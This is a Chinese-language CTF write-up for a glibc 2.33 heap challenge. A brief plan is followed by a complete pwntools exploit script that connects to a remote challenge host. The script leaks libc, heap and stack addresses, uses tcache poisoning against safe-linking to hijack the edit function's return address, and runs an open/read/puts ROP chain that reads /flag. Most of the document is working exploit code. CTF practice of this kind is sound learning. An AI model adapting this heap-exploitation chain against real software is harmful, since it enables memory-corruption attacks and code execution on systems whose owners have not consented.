libc-2.33 保护全开，四功能齐全，存在 UAF，存在沙盒
题目比较简单，就是要泄露 libc_base 、heap_base -> key
一开始是想利用 setcontext 控制 rsp 和 rip 的，把 orw 写在堆块上，后来发现 2.33 版本的 setcontext 变了，没用过
所以我打算劫持了 edit 功能的 ret ，栈地址 - 8 后 0x10 对齐没申请成功，后来把把 栈地址 - 0x38 就申请成功了，不知道为啥
所以这道题就是泄露 libc_baes 、heap_base -> key、environ -> stack_addr
然后修改 edit_ret -> orw_rop，接着触发执行 orw_rop
from struct import pack from ctypes import * from LibcSearcher import * def s(a): p.send(a) def sa(a, b): p.sendafter(a, b) def sl(a): p.sendline(a) def sla(a, b): p.sendlineafter(a, b) def r(): p.recv() def pr(): print(p.recv()) def rl(a): p.recvuntil(a) def inter(): p.interactive() def debug(): gdb.attach(p) pause() def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) context(os='linux', arch='amd64', log_level='debug') #p = process('./pwn') p = remote('1.14.71.254', 28795) elf = ELF('./pwn') libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.33-0ubuntu5_amd64/libc-2.33.so') def add(): sla(b'Choice: ', b'1') def free(index): sla(b'Choice: ', b'2') sla(b'Idx: \n', str(index)) def show(index): sla(b'Choice: ', b'3') sla(b'Idx: \n', str(index)) def edit(index, content): sla(b'Choice: ', b'4') sla(b'Idx: \n', str(index)) sla(b'Size: \n', str(len(content))) sa(b'Content: \n', content) # leak libc_base for i in range(8): add() add() #index 8 for i in range(8): free(i) edit(7, b'a') show(7) libc_base = get_addr() - 0x70 - 0x61 - libc.sym['__malloc_hook'] edit(7, b'\x00') # leak heap_base show(0) heap_base = u64(p.recv(5).ljust(8, b'\x00')) << 12 # leak stack_addr environ = libc_base + libc.sym['_environ'] edit(6, p64((heap_base >> 12) ^ environ)) add() #index 9 add() #index 10 show(10) stack = get_addr() edit_ret = stack - 0x138 # set orw_rop edit(3, b'/flag\x00') flag = heap_base + 0x5d0 rdi = libc_base + 0x28a55 rsi = libc_base + 0x2a4cf rdx = libc_base + 0xc7f32 ret = libc_base + 0x26699 open_ = libc_base + libc.sym['open'] read = libc_base + libc.sym['read'] puts = libc_base + libc.sym['puts'] # open rop = p64(0)*3 + p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(open_) # read rop += p64(rdi) + p64(3) + p64(rsi) + p64(heap_base + 0x300) + p64(rdx) + p64(0x30) + p64(read) # write rop += p64(rdi) + p64(heap_base + 0x300) + p64(puts) # set orw_rop -> edit_ret free(8) free(9) edit(9, p64((heap_base >> 12) ^ (edit_ret))) add() #index 11 add() #index 12 # leak flag #gdb.attach(p, 'b *$rebase(0x1566)') edit(12, rop) pr() pr() print(' stack -> ', hex(stack)) print(' edit_ret -> ', hex(edit_ret)) #pause() print(' len_rop -> ', hex(len(rop))) print(' heap_base -> ', hex(heap_base)) print(' libc_base -> ', hex(libc_base)) #debug()